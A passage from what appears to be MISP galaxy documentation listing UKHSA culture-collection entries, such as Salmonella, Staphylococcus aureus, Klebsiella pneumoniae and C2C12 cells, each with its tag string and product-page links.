https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-36
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-37
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-38
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-39
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-40
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-42
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-49
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-17

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-27

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-26

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-25

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-24

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-23

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-22

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-21

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-20

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-19

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-18

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-15

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-13

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-14

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-12

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-11

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-10

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-9

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-8

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-7

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-6

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhimurium-16

Staphylococcus aureus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus aureus"*

Table 25506. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-216
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-201
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-200
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-195
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-218
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-217
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-215
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-214
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-213
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-212
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-211
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-210
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-209
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-208
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-207
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-24
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-197
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-203
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-202
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-194

https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-206
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-204
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-205
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-196
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-54
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-183
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-81
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-82
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-99
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-141
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-167
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-133
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-190
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-136
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-135
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-134
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-162
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-34
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-103
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-106
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-111
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-110
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-143
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-199
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-2
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-159
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-187
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-198
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-132
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-126
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-108
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-107
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-104
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-56

https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-128
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-185
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-184
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-182
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-181
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-180
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-179
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-177
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-191
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-174
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-173
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-172
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-171
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-170
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-169
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-168
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-165
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-164
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-161
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-157
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-156
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-154
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-153
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-152
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-151
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-188
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-149
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-148
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-147
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-140
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-139
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-138
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-137
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-127

https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-125
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-124
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-122
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-117
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-114
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-109
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-105
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-102
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-101
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-100
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-89
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-88
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-87
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-86
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-85
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-84
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-76
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-75
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-48
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-47
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-46
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-44
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-43
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-27
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-26
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-40
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-38
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-37
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-36
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-35
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-31
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-30
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-29
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-23

https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-22
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-21
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-20
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-19
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-18
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-17
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-16
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-15
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-13
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-12
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-11
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-10
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-9
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-8
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-7
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-6
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-3
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-119
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-118
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-4
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-178
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-166
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-155
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-144
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-142
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-93
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-51
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-39
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-28
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-45
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-158
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-189
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-116

https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-123
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-145
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-53
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-61
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-62
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-63
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-68
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-73
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-77
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-92
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-94
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-113
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-115
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-33
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-146
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-121
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-57
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-91
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-97
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-112
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-5
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-14
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-25
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-120
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-130
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-50
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-52
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-64
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-65
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-69
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-70
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-71
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-74
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-78

https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-129
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-49
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-58
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-67
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-80
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-83
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-90
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-95
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-96
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-41
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-42
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-131
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-55
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-59
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-60
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-66
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-72
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-79
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-98
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-160

Salmonella enterica subsp. essexiensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. essexiensis"*

Table 25507. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-essexiensis

Salmonella enterica subsp. enterica serotype Enteritidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Enteritidis"*

Table 25508. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-21
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-13
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-9
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-12
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-11
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-10
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-8
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-7
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-6
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-enteritidis-2

Klebsiella pneumoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella pneumoniae"*

Table 25509. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-138
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-137
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-136
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-14
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-25

https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-66
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-88
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-91
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-156
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-157
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-158
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-155
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-153
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-154
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-152
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-151
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-149
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-148
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-147
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-146
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-145
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-144
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-143
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-142
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-105
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-140
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-34
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-30
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-21
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-15
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-139
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-129
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-101
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-126
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-122
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-128
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-127
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-125
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-124

https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-123
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-121
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-120
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-119
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-132
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-117
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-116
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-115
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-130
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-114
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-112
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-111
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-110
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-108
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-44
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-75
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-113
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-57
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-38
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-33
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-27
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-17
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-58
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-92
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-90
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-104
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-102
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-99
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-98
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-135
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-134
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-133
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-131
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-18

https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-78
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-77
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-72
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-71
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-70
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-86
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-85
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-82
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-97
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-49
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-95
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-87
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-84
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-83
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-81
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-80
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-79
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-74
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-65
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-61
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-59
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-56
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-55
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-54
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-53
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-51
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-45
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-43
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-42
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-40
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-39
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-37
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-31
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-23

https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-20
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-19
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-11
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-9
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-5
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-41
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-29
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-26
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-13
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-4
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-94
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-93
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-76
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-73
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-69
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-68
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-67
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-96
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-62
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-60
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-50
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-48
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-46
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-36
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-35
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-32
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-28
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-24
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-22
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-6
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-16
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-12
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-10
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-8

https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-7
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-3
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-2
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-63
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-52
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-64
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-47

Clostridioides difficile

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridioides difficile"*

Table 25510. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridioides-difficile

C2C12

The tag is: *misp-galaxy:ukhsa-culture-collections="C2C12"*

Table 25511. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2c12

AFRC 17D1

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC 17D1"*

